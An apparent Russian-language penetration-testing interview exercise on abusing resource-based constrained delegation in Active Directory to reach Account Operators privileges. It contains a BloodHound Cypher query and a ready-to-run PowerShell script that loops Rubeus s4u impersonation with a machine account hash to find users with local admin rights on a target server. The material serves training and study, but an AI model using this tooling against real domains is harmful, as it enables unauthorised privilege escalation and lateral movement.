Задача для собеседования №5*Усложним предыдущий сценарий.
СценарийВ ходе выполнения работ было обнаружено что рабочая группа
EVERYONE имеет права на изменение атрибута
msDS-AllowedToActOnBehalfOfOtherIdentity на сервере
TERM. Так же на сервере
TERM потенциально есть сессия
HD-ADMIN, которая является членом группы
ACCOUNT OPERATORS. В ходе получения дополнительной информации установлено, что все члены группы
DOMAIN ADMINS являются членами группы
PROTECTED USERS. Учетная запись
HD-ADMIN не является членом группы локальных администраторов на
TERM,
но какая-то учетная запись или даже группа входит в группу локальных администраторов, и которые можно использовать для делегирования.
Дополнительные условия- На всех хостах в сети установлены последние обновления.
- Есть возможность создавать объекты компьютер.
- Доменная учетная запись Administrator отключена.
- Уровень домена – 2016.
Цель- Получить привилегии группы
ACCOUNT OPERATORS.
РешениеРешение тут понятно нужно найти учетную запись, у которой есть привилегии локального администратора на хосте
TERM. Не редко администраторы добавляют членов в локальные администраторы через SCCM или вручную. В таких случаях BloodHound, который собирает членство в локальных группах в GPO и старых операционных системах, не покажет такую информацию.
В лаборатории на 10 пользователей можно руками проверить несколько учетных записей, но что делать, когда учеток 100 или 1000? Требуется автоматизация.
Я написал небольшой powershell скрипт, который в цикле будет подставлять учетные записи пользователей из списка, которые не входят в группу
PROTECTED USERS и у них не установлен флаг «учетная запись не может быть делегирована», в процесс запроса TGS билетов Kerberos.
Подготовим список с помощью Cypher запроса:
MATCH p=(n:User)-[MemberOf]->(g:Group) WHERE g.name STARTS WITH 'PROTECTED USERS' WITH COLLECT(n.name) AS EXCLUDE
MATCH (u:User) WHERE u.enabled = TRUE AND u.sensitive = FALSE AND NOT u.name IN EXCLUDE
RETURN u.samaccountname
Сам скрипт написан на PowerShell и использует Rubeus. Логика простая: передаем значения для s4u и проверяем права локального администратора. Выход из цикла при первом успешном выполнении
invoke-Command. Весь вывод от Rubeus перенаправляем в файл с помощью ключа
/consoleoutfile это избавит нас от лишней информации в консоли.
function Check-ImpersonateUser {
[CmdletBinding()] Param(
[Parameter (Mandatory=$False, Position = 0)]
[String]$Targets,
[Parameter (Mandatory=$False, Position = 1)]
[String]$UserName,
[Parameter (Mandatory=$False, Position = 2)]
[String]$Hash,
[Parameter (Mandatory=$False, Position = 3)]
[String]$ComputerName
)
$users = Get-Content $Targets
foreach($user in $users)
{
.\Rubeus.exe purge /consoleoutfile:console.txt
.\Rubeus.exe s4u /impersonateuser:$User /msdsspn:CIFS/$ComputerName /altservice:http,host,cifs /user:$Username /rc4:$hash /ptt /consoleoutfile:console.txt
try{
$checker = Invoke-Command -ComputerName $ComputerName -Command {whoami} -ErrorAction SilentlyContinue
if($checker)
{
Write-Host "User $User has admin privilege on $ComputerName"
# До первого успешной выполненной команды
break
}
}
catch{
continue
}
}
} PSRemoting может быть отключен, в этом случае можно использовать другой вариант, например,
Get-ChildItem -Path '\\$ComputerName \c$' или
Get-Process -ComputerName $ComputerName.
Пример запуска
Check-ImpersonateUser -Targets .\targets.txt -UserName ws-234$ -Hash 4662D8961EF42728366BC2AE7FD0B38F -ComputerName term
В реальной инфраструктуре есть вероятность, что этот метод не даст результатов.
Совет:Запускать скрипт лучше всего в отдельном контексте запущенный через
runas.exe /netonly.
#Внутрянка #Задачи